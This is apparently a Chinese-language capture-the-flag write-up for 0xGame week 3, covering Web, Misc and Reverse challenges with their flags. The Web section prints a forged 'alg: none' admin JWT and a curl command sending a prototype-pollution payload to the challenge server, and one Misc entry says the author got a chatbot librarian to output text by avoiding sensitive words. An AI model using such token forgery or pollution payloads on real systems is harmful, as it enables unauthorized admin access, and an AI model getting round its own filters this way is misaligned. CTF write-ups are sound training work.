
Week3_萱__B25041708_wp  
Web  

1.长夜月  

 因为不校验jwt，所以伪造管理员JWT生成一个假token

token：
eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICJ4In
0.

发送污染链请求，触发一下get，用更早的时间触发一下flag

命令：curl -v -X POST "http://80-258809da-e99e-4e6b-9ceb-4e1830406268.challenge.ctfplus.cn/ad
min_club1st" -H "Content-Type: application/json" -H 
"Cookie:token=eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNz
d29yZCI6ICJ4In0." -d "{"proto":{"min_public_time":"2000-01-01"}}"

Flag：0xGame{Back_to_Earth_in_Evernight}

 

af://n0
af://n2
af://n3
http://80-258809da-e99e-4e6b-9ceb-4e1830406268.challenge.ctfplus.cn/admin_club1st
http://80-258809da-e99e-4e6b-9ceb-4e1830406268.challenge.ctfplus.cn/admin_club1st
af://n13


Misc  

1.收集阳光吧  

头铁这一块，唉唉。

Flag:0xGame{C0llecting_SuNshine_1s_funny?Y0u_w1ll_get_Sunny_everyday}

 

2.神秘图书馆理员  

一开始还想正经聊天，但是AI总是要兜圈子

af://n13
af://n14
af://n26


不管了唉唉，绕过敏感请求词，请求一下文本输出



Flag：0xGame{well_You_tricked_me_2333!!!🥹🥹🥹}

 

Reverse  

1.Minesweeper  
F12+ctrlF查找包含flag的函数

因为能力有限，只能把所有函数一个个试过去，标记断点然后调用含flag的函数（目移

af://n58
af://n61


Flag：0xGame{463950f9-9824-4bfb-8230-98ab02d431d0}

 

2.easyApp  

apktool反编译一下，输出一个文件夹的内容

MainActivity是负责界面交互与输入预检的，可以发现文件夹里有flag上半的base64编码

0xGame{Do_y0u_l0v3_andr01d

下半去核验逻辑的dex.zip里面找，用JADX小工具可以看到传入字符的拆分逻辑。

af://n71


使用妙妙小脚本

Flag：0xGame{Do_y0u_l0v3_andr01d_4nd_dex_loader}
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